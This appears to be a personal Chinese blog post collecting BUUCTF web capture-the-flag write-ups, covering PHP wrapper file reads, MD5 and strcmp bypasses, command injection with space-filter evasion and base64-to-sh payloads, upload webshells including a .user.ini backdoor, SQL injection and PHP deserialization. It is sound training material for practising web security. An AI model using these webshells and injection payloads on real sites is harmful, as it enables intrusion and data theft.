無限可能

个人邮箱:985885413@qq.com

0%

BUUCTF WP合集

此为个人的解题记录,只记录认为值得记录的题目。为记录方便,尽量不截图,不复述原题,随时更新。

[ACTF]

2020 新生赛 include

文件包含,利用伪协议base64编码来读取文件源码,得到被注释的flag

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

[BJDCTF]

2020 Easy MD5

涉及到一个知识点:

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是‘ or ‘6
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1 select * from 'admin' where password='' or '6xxxxx'等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

该题GET password=ffifdyop,得到新页面:

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

strcmp()函数原理相同,由于md5函数不能处理数组,导致函数返回Null,两个空值相等。

所以GETa[]=1&b[]=2,得到新页面:

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

同理,换成POST就好。

还有一个巧妙的绕过方法,可以找出md5值都是两个0e开头的,php里面在做 == 的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。

1
2
3
4
这样的值有:
QNKCDZO
s155964671a
s1091221200a

[GXYCTF]

2019 Ping Ping Ping

这道题进来只有一个ping命令,输入ip地址正常request。

后面加个ls,得到有flag.phpindex.php两个文件。

Linux ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。

用cat flag.php显示空格被过滤。

绕过空格的常用方法:

1
2
3
4
5
6
7
8
9
10
11
{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

要是禁用cat的话可以用less、more、tac、ca\t等绕过。

试了几个,发现flag也被过滤,成功用cat$IFS$9index.php看到了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}
?>

考虑如何来绕过flag,得到以下payload:

1
2
3
4
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
//base64 -d 就是base64-encode
// |sh就是用sh执行

找flag文件:

1
2
127.0.0.1;find / -name flag
127.0.0.1;ls ../../../

2020 BackupFile

备份,index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉。


[HCTF]

2018 WarmUp

本题主要在绕过几个if检查。

第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中’?’前部分,存在则返回true

第四个if语句判断先url解码再截取的$page是否存在于$whitelist中,存在则返回true

所以我们要构造payload来使url解码后仍然是 ?%253f

由于不知道flag文件位置,使用相对路径一个一个尝试,最终得到payload:

1
http://fa11c443-afb7-4ce7-9b4d-b4d3266118ee.node3.buuoj.cn/?file=source.php%253f../../../../ffffllllaaaagggg

2018 admin

reference:https://www.cnblogs.com/chrysanthemum/p/11722351.html

reference:https://blog.csdn.net/weixin_44677409/article/details/100733581

参考上面资料,使用unicode欺骗来获得admin登录权限。

用下面的网站找到admin:ᴬᴰᴹᴵᴺ,由于该题会将所有结果进行strtolower()来转换成小写,在这样之后ᴬᴰᴹᴵᴺ就会变成admin,从而成功登录。

https://unicode-table.com/en/1D2E/

好像预期解是flask session伪造。


[极客大挑战]

2019 Http

http请求 headers 中的配置:

headers 作用
Accept 指定客户端能够接收的内容类型,内容类型中的先后次序表示客户端接收的先后次序。
Accept-Language 指定HTTP客户端浏览器用来展示返回信息所优先选择的语言。
Accept-Encoding 指定客户端浏览器所能够支持的返回压缩格式。
Connection 表示是否需要持久连接。如果web服务器端看到这里的值为“Keep-Alive”,或者看到请求使用的是HTTP 1.1(HTTP 1.1默认进行持久连接),它就可以减少下载所需要的时间。
Cookie HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。
Host 请求的web服务器域名地址。
Referer 包含一个URL,用户从该URL代表的页面出发访问当前请求的页面服务器端返回HTTP头部信息。
User-Agent HTTP客户端运行的浏览器类型的详细信息。通过该头部信息,web服务器可以判断到当前HTTP请求的客户端浏览器类别。

页面中发现了secret.php,访问后显示It doesn't come from 'https://www.Sycsecret.com'.

所以我们利用python,添加headers来满足要求:

1
2
3
4
5
import requests
url = 'http://node3.buuoj.cn:25212/Secret.php'
headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}
r = requests.get(url,headers=headers)
print(r.text)

得到信息:

1
Please use "Syclover" browser

添加headers:

1
headers['User-Agent'] = "Syclover"

得到:

1
No!!! you can only read this locally!!

伪造本地ip:

1
headers['X-Forwarded-For'] = '127.0.0.1'

得到flag。

2019PHP

私有类还要用python执行才行。

序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
public function __wakeup(){
$this->username = "guests";
}
public function fun(){
echo $this->username;echo "<br>";echo $this->password;
}
}
$a = serialize(new Name("admin",100));
echo $a;
?>

2019 Upload

reference:https://www.cnblogs.com/yunqian2017/p/13308641.html

首先尝试上传,发现限制了文件的后缀名,没法上传.php .php3 .php5等php文件,但是这里没有过滤.phtml,这是一个可以用html语法来实现php命令的后缀文件。

文件内容如下:

1
<script language="php">eval($_REQUEST[test])</script>

上传会显示It's not a image at all!,那就在前面加个文件头:

1
GITF89a<script language="php">eval($_REQUEST[test])</script>

content-type修改为image/jpg

离谱的地方在于要盲猜文件保存路径来连接蚁剑,这里是/upload/1.phtml

2019 buyflag

抓包修改user=1

POST password=404a(弱比较)

POST money=100000000,显示太长了

科学计数法 money=1e9,拿到flag

或者绕过strcmp()函数,只要我们POST的是一个数组或object:money[]=100000000,即可绕过验证。


[强网杯]

2019 随便注

reference:https://www.cnblogs.com/joker-vip/p/12483823.html


[RoarCTF ]

2019 Easy Calc

进来是一个计算页面,输入字母会显示错误。源码中找到如下提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

而查阅得知php字符串的解析特性:

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42”+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

所以我们构造url:

1
2
3
4
5
6
http://node3.buuoj.cn:28751/calc.php? num=phpinfo()

http://node3.buuoj.cn:28751/calc.php? num=var_dump(scandir(chr(47)))
//scandir()函数 返回指定目录中的文件和目录的数组。
//var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
//由于题目将'/'过滤了,所以我们用ascii码chr(47)来代替。

查询到f1agg文件。然后构造payload:

1
2
http://node3.buuoj.cn:28751/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
//file_get_contents() 把整个文件读入一个字符串中。

[SUCTF]

2019 EasySQL

扫描可得源码,堆叠注入得知flag表。

reference:https://blog.csdn.net/qq_43678005/article/details/108101904

因此构造payload:*,1

或者通过堆叠注入,设置 sql_mode 的值为 PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来的payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1

2019 checkin

该题为文件上传,这道题的重点在于,要利用.user.ini来使图片格式的文件被php解析。

reference:https://www.cnblogs.com/wkzb/p/12286324.html

什么是.user.ini?

先从php.ini说起,php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。

模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,和.user.ini中设置。这里就提到了.user.ini,那么这是个什么配置文件?

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

​ 所以可以理解为:.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。不过,我们仍然可以很容易地借助.user.ini文件来构造一个“后门”。

php配置项中auto_prepend_file具体意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而配置项中auto_append_file也类似,只是在文件后面包含。

使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

哪些情况下可以用到这个姿势?

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

在这道题中,我们先上传一个.user.ini文件,内容为:

1
2
GIF89a
auto_prepend_file=01.gif

然后再上传木马:

1
2
GIF89a
<script language="php">system('cat /flag');</script>

这里也可以是一句话木马,连蚁剑。由于该题在上传含有?的文件是会提示不允许含,所以我们用script来绕过了一下。

访问文件地址拿到flag。


[ZJCTF]

2019 NiZhuanSiWei

主要是伪协议和反序列化。

reference:https://jiulin.space/2021/01/02/php3/

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents是读取文件中的字符串 ,不能直接GET,一般这种情况下,就要利用到data伪协议来写入文件。可能有过滤,就直接base64编码了。payload:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

后面这里不能直接读取flag,提示给了uselesss.php,利用php伪协议中的php://filter来读取文件:

1
?file=php://filter/read=convert.base64-encode/resource=useless.php

得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里就简单了,反序列化直接把file属性值设为flag.php

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

于是构造完整的payload:

1
http://4f9b10f1-69d5-4b66-b1d1-2b15bab7e939.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag。